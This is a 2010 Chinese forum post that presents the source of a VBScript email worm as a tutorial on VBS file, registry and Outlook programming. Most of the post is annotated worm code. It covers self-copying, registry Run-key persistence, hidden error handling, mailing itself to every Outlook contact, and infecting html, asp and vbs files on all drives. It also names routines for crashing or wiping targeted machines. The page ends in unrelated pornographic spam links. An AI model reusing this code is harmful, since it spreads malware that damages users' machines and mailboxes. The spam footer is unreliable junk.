<dfn id="is4kg"></dfn>
  • <ul id="is4kg"></ul>
  • <abbr id="is4kg"></abbr>
  • <ul id="is4kg"></ul>
    <bdo id="is4kg"></bdo>

    曙海教育集團論壇開發語言培訓專區VB語言 → 通過對一個病毒源碼的分析,了解VBS腳本語言的應用-.net教程,VB.net語言


      共有7810人關注過本帖樹形打印

    主題:通過對一個病毒源碼的分析,了解VBS腳本語言的應用-.net教程,VB.net語言

    美女呀,離線,留言給我吧!
    wangxinxin
      1樓 個性首頁 | 博客 | 信息 | 搜索 | 郵箱 | 主頁 | UC


    加好友 發短信
    等級:青蜂俠 帖子:1393 積分:14038 威望:0 精華:0 注冊:2010-11-12 11:08:23
    通過對一個病毒源碼的分析,了解VBS腳本語言的應用-.net教程,VB.net語言  發帖心情 Post By:2010-12-14 13:45:43

    讀了《將vbscript拒之“窗”外》一文,心里有些感觸,覺得是不
    是少了兩個字,應為《將vbscript病毒拒之“窗”外》,vbscript何罪之有,看了
    看文章,確實是將vbscript拒之了“窗”外,上網查了查相關資料,也多是文中提
    供的方法,vbscript可真成了冤大頭,可謂是“擋住了蒼蠅,也看不到了蝴蝶”。
      對于一個真正充滿熱情的cfan來說,不僅要知其然,還要知其所以然,vbs病毒
    真的很可怕嗎?從早期的宏病毒,到有名的“歡樂時光”病毒,“愛情蟲”病毒等,
    無不來勢洶洶,其實許多生勢多是殺毒軟件商的炒做,讀了前文,筆者覺得有必要
    為vbs正名,為了讓計算機更好,更高效的服務,我們決不應該回避優秀的軟件工具,
    采取被動回避的策略,等同于因噎廢食。
        本文通過對一個vbs病毒源碼的分析,介紹腳本語言在:文件系統,注冊表,以
    及網絡郵件三個方面的具體應用和技巧。較早的“愛情蟲”等病毒,程序比較粗糙,
    這個病毒結合了許多早期病毒的優點,程序代碼簡單,高效,充分展示了vbs的全面
    特點,因此拿來與大家共享,如果將這個源碼作為一個vbs開發的微型幫助文檔,一
    點不為過。讀者也可以通過此文揭開此類病毒的神秘面紗,不再談虎色變,先進的東
    西都不敢用了。殺病毒嗎,筆者還是建議您購買一套殺毒軟件(幾十元的價格,一點
    不貴),然后注意更新病毒庫就可以了。要學習 vbs,具有一些vb的基礎知識就夠了。
    這個病毒的主要攻擊方法是:通過網絡及郵件進行傳播,并且不斷地向目標郵件服
    務器發送大量郵件,并且在傳染過程中檢測網絡主機的名稱中是否有目標字符,如
    果有則進行破壞攻擊。
    下面將結合具體的程序逐步進行介紹,由于篇幅關系,對一些語句進行了縮減。
    @ thank you!  make use of other person to get rid of an enemy, white trap _2001
    開場白,第一個字符“@”是這個病毒傳染時的標記
    on error resume next  這一句很重要,主要是在程序執行時如果發生錯誤就接著
                          執行下一條語句,防止談出出錯對話框,否則就不能偷偷
                          的干壞事啦。這里有一個技巧,就是在程序編制調試階段,
                          最好不要這一條語句,因為它會忽略錯誤,使你的調試工
                          作不易完成。
    dim vbscr, fso,w1,w2,mswkey,hcuw,code_str, vbs_str, js_str
    dim defpath, smailc, max_size, whb(), title(10)      聲明各個變量
    smailc = 4
    redim whb(smailc)
    whb(0) = "pr@witehous.gov"
    ...
    whb(3) = "ms@witehous.gov"
    以上這四個郵件地址就是被攻擊的目標,當然已經進行了修改,不是真實地址
    title(0) = "thanks for helping me!"
    ...
    title(8) = "the sitting is open!"
    title(9) = ""
    以上這十條字符串是病毒執行時隨機顯示在ie標題欄里的信息。如果你的ie標題欄
    顯示了其中的某條信息,呵呵,一定要接著往下看
    defpath  = "c:\readme.html"          將隨郵件一起發送的病毒體
    max_size = 100000
    mswkey  = "hkey_local_machine\software\microsoft\windows\"
    hcuw    = "hkey_current_user\software\microsoft\wab\"
    定義兩個注冊表的鍵值變量
    main    執行主函數

    下面就是程序中所需的各個函數的定義部分,整個vbs程序將由windows目錄中的
    wscript.exe文件解釋執行,如果將這個文件改名或刪除,當然vbs程序也就不能執行
    了,如此便阻止了病毒的執行。在用殺毒軟件殺毒時,往往病毒傳播的速度要比殺
    毒的速度快,如果出現這種情況,應該先將wscript.exe文件改名,阻止病毒傳播,
    等殺完毒后,再改回來,不致影響其他正常的vbs程序的執行。
    sub main()
    on error resume next
    dim w_s
    w_s= wscript.scriptfullname    得到此文件名稱
    if w_s = "" then
    err.clear
    set fso = createobject("scripting.filesystemobject")
    隨著vb編程語言的完善,微軟也推出了一種全新的文件操作方法:文件系
            統對象(filesystemobject)。這個對象,及一些相關對象,封裝了所有
            的文件操作。這個病毒程序基本展示了所有的這些操作,因此,如果您要
            利用vbs進行文件操作編程,將這個病毒源碼作為參考文檔,肯定不錯。
    if geterr then
      randomize
      ra = int(rnd() * 7)
      doucment.write title(ra)     
      executemail        打開有毒的頁面
    else     
      executepage        賦值成功,進行傳染,攻擊
    end if 
    else
    executevbs                  從病毒體文件“system.dll”提取病毒
    end if
    end sub

    function  geterr()
    本函數主要是檢測前一條語句是否成功返回了scripting.filesystemobject對象,
    內容略
    end function

    sub executepage()
    dim html_str,adi,vf,wdf, wdf2,wdf3,wdsf, wdsf2
    vbs_str  = getscriptcode("vbscript")      獲得此程序的vbscript code
    js_str  = getjavascript()
    code_str =  makescript(encrypt(vbs_str),true)  進行加密處理
    html_str =  makehtml(encrypt(vbs_str), true)
    gf
    wdsf  = w2 & "mdm.vbs"
    wdsf2 = w1 & "profile.vbs"
    wdf  = w2 & "user.dll"
    wdf2  = w2 & "readme.html"
    wdf3  = w2 & "system.dll"

    set vf = fso.opentextfile (wdf, 2, true)
    vf.write vbs_str
    vf.close 
    僅用以上三條語句便完成了病毒體文件 "user.dll"的制作,其中對象函數
    opentextfile (wdf, 2, true)的三個參數分別是:
    ①文件名,②讀=1或寫=2,③文件不存在時是否創建;
    當前,filesystemobject對于文本文件的操作有較強的優勢,對binary文件
    的操作還有待加強。下面依次生成其他的文件,內容略

    writereg  mswkey & "currentversion\run\mdm", wdsf, ""   
    writereg  mswkey & "currentversion\runservices\profile", wdsf2, ""
    將mdm.vbs,profile.vbs兩個腳本文件加入到啟動組當中,隨win啟動自動執行
    sendmail
    hackpage
    if testuser then
    killhe
    else
    mk75
    end if
    set adi = fso.drives        所有驅動器對象
    for each x in adi          遍歷所有的驅動器
    if x.drivestype = 2 or x.drivestype = 3 then 
      call searchhtml(x & "\")
    end if
    next
    if fso.fileexists(defpath) then  fso.deletefile defpath
    如果存在"c:\readme.html" ,就刪除它
    end sub

    sub  executemail()
    此函數制作病毒文件"c:\readme.html" ,并打開它,
    由這一段程序,可以看出vbs的簡潔高效
    on error resume next
    vbs_str  = getscriptcode("vbscript")
    js_str  = getjavascript()
    set stl = createobject("scriptlet.typelib")
    with stl
    .reset
    .path = defpath
    .doc =  makehtml(encrypt(vbs_str), true)
    .write()
    end with
    window.open defpath, "trap", "width=1 height=1 menubar=no scrollbars=no toolbar=no"
    end sub

    sub executevbs()
    on error resume next
    dim x, adi, wvbs, ws, vf
    set fso = createobject("scripting.filesystemobject")
    set wvbs = createobject("wscript.shell")
    gf
    wvbs.regwrite  mswkey & "windows scripting host\setings\timeout", 0, "reg_dword"
    set vf = fso.opentextfile (w2 & "system.dll", 1)
    code_str = vf.readall()
    vf.close
    hackpage
    sendmail
    if testuser then
    killhe
    else
    mk75
    end if
    set adi = fso.drives
    for each x in adi
    if x.drivestype = 2 or x.drivestype = 3 then 
      call searchhtml(x & "\")
    end if 
    next
    end sub

    sub gf()
    w1=fso.getspecialfolder(0) & "\"  獲得windows的路徑名,
    w2=fso.getspecialfolder(1) & "\"  獲得系統文件夾路徑名
    end sub

    function readreg(key_str)
    set tmps = createobject("wscript.shell")
    readreg = tmps.regread(key_str)
    set tmps = nothing
    end function

    function writereg(key_str, newvalue, vtype)
    對注冊表進行寫入操作,讀操作類似,可以由此看到vbs的注冊表操作非常簡單明了。
    set tmps = createobject("wscript.shell")
    if vtype="" then
    tmps.regwrite key_str, newvalue
    else
    tmps.regwrite key_str, newvalue, vtype
    end if     
    set tmps = nothing      關閉不用的資源,算是病毒的良好行為
    end function

    function makehtml(sbuffer, ihtml)
    制作html文件的內容
    dim ra
    randomize
    ra = int(rnd() * 7)
    makehtml="<" & "html><" & "head><" & "title>" & title(ra) & "</" & "title><" & "/head>" & _
    "<bo" & "ad>" & vbcrlf &  makescript(sbuffer, ihtml) & vbcrlf & _
    "<" & "/boad><" & "/html>"
    end function

    function makescript(codestr, ihtml)
    制作病毒的可執行script code
    if ihtml then
    dim docuwrite
    docuwrite = "document.write(<+" & "script language=javascript>\n+" & _
          "jword" & "+\n</" & "+script>);"
    docuwrite = docuwrite & vbcrlf & "document.write(<+" & "script language=vbscript>\n+" & _
          "nword" & "+\n</" & "+script>);"
    makescript="<" & "script language=javascript>" & vbcrlf & "var jword = " & _
    chr(34) & encrypt(js_str) & chr(34) & vbcrlf & "var nword = " & _
    chr(34) &  codestr &  chr(34) & vbcrlf & "nword = unescape(nword);" & vbcrlf & _
    "jword = unescape(jword);" & vbcrlf & docuwrite & vbcrlf & "</" & "script>"
    else   
    makescript= "<" & "script language=javascript>" & codestr & "</" & "script>"
    end if
    end function

    function getscriptcode(languages)
    此函數獲得運行時的script code,
    內容略
    end function

    function getjavascript()
    getjavascript = getscriptcode("javascript")
    end function

    function testuser()
    此函數通過鍵值檢測網絡主機是否是攻擊目標
    內容略
    end function

    function mk75()
    檢測日期是否符合,如果符合,發控制臺命令,使系統癱瘓
    end function

    function sendmail()
    利用outlook發送攜帶病毒體的郵件,microsoft outlook是可編程桌面信息管理程序,
    outlook可以作為一個自動化服務器(automation servers),因此很容易實現自動發送
    郵件,從這里也可以看出,先進的東西難免會被反面利用,如果你也想用程序控制發送
    郵件,可以仔細研究下面的代碼,
    on error resume next
    dim wab,ra,j, oa, arrsm, eins, eaec, fm, wreg, areg,at
    randomize
    at=fso.getspecialfolder(1) & "\readme.html"    要發送的附件文件
    set  oa  = createobject("outlook.application") 制作outlook對象
    set  wab = oa.getnamespace("mapi")            取得outlook mapi名字空間
    for j = 1 to wab.addresslists.count            遍歷所有聯系人
    eins = wab.addresslists(j)
    wreg=readreg (hcuw  & eins)
    if (wreg="") then wreg = 1
    eaec = eins.addressentries.count      地址表的email記錄數
    if (eaec > int(wreg)) then
      for x = 1 to eaec
      arrsm = wab.addressentries(x)
      areg = readreg(hcuw & arrsm)
      讀注冊表中的標記,避免重復發送
      if (areg = "") then
        set fm = wab.createitem(0)  創建新郵件
        with fm
        ra = int(rnd() * 7)
        .recipients.add arrsm 收件人
        .subject = title(ra) 郵件的標題
        .body = title(ra)  郵件的正文內容
        .attachments at  病毒文件作為附件
        .send        發送郵件
        writereg hcuw & arrsm, 1, "reg_dword"
        end with
      end if
      next
    end if   
    writereg hcuw & eins, eaec, "" 
    next
    set oa = nothing
    window.settimeout "sendmail()", 10000  每100秒發送一次
    end function

    sub searchhtml(path)
    這個函數遞歸搜索所有需感染的文件,如果你想批量處理文件,這是非常典型
    的樣例代碼
    on error resume next
    dim pfo, psfo, pf, ps, pfi, ext
    if instr(path, fso.getspecialfolder(2)) > 0  then exit sub
    fso.getspecialfolder(2)獲得臨時文件夾路徑名,
    fso.getspecialfolder(0)獲得windows的路徑名,
    fso.getspecialfolder(1)獲得系統文件夾路徑名
    set pfo    = fso.getfolder(path)
    set psfo  = pfo.subfolders
    for each  ps in psfo
    searchhtml(ps.path)
    set pf  = ps.files
    for each pfi in pf
      ext = lcase(fso.getextensionname(pfi.path))
      if instr(ext, "htm") > 0 or ext = "plg" or ext = "asp" then
      if code_str<>"" then addhead pfi.path, pfi, 1
      elseif ext= "vbs"  then
      addhead pfi.path,pfi, 2
      end if     
    next
    next
    end sub

    sub killhe()
    看函數名就知道硬盤又要倒霉啦
    end sub

    sub hackpage()
    dim fi


    支持(0中立(0反對(0單帖管理 | 引用 | 回復 回到頂部

    返回版面帖子列表

    通過對一個病毒源碼的分析,了解VBS腳本語言的應用-.net教程,VB.net語言








    簽名
    主站蜘蛛池模板: 精品国产成人亚洲午夜福利 | 日本乱码一卡二卡三卡永久| 人人妻人人澡人人爽欧美精品 | 无码人妻精品一区二| 亚洲精品国产综合久久一线| 美女网站免费福利视频| 国产精品久久久久影院免费| 一个人看的视频在线| 成成人看片在线| 亚洲av日韩av无码av| 欧美日韩一区二区三区四区在线观看| 午夜精品福利视频| 草草影院国产第一页| 国产精品亚洲一区二区三区在线 | 同桌好舒服好粗好硬| 风间由美juy135在线观看| 在线中文字幕网站| 中文字幕在线永久视频| 日本黄大片在线观看| 亚洲精品免费在线| 真实处破女系列全过程| 国产情侣一区二区| 99久久久久久久| 好爽~好大~不要| 久久国产精品一国产精品金尊| 特级aa**毛片免费观看| 国产深夜福利在线观看网站| 一个人看的片免费高清大全| 日日碰狠狠添天天爽爽爽| 亚洲日本中文字幕天天更新| 男女超级黄aaa大片免费| 国产成人无码精品一区在线观看| 99视频在线看观免费| 好硬好湿好大再深一点动态图 | 3d动漫精品啪啪一区二区免费| 99久久人妻无码精品系列蜜桃| 欧美怡红院成免费人忱友;| 向日葵视频下载app网站进入ios下载安装| 黄色一级毛片在线观看| 在线中文字幕网站| 丝袜高跟美脚国产1区|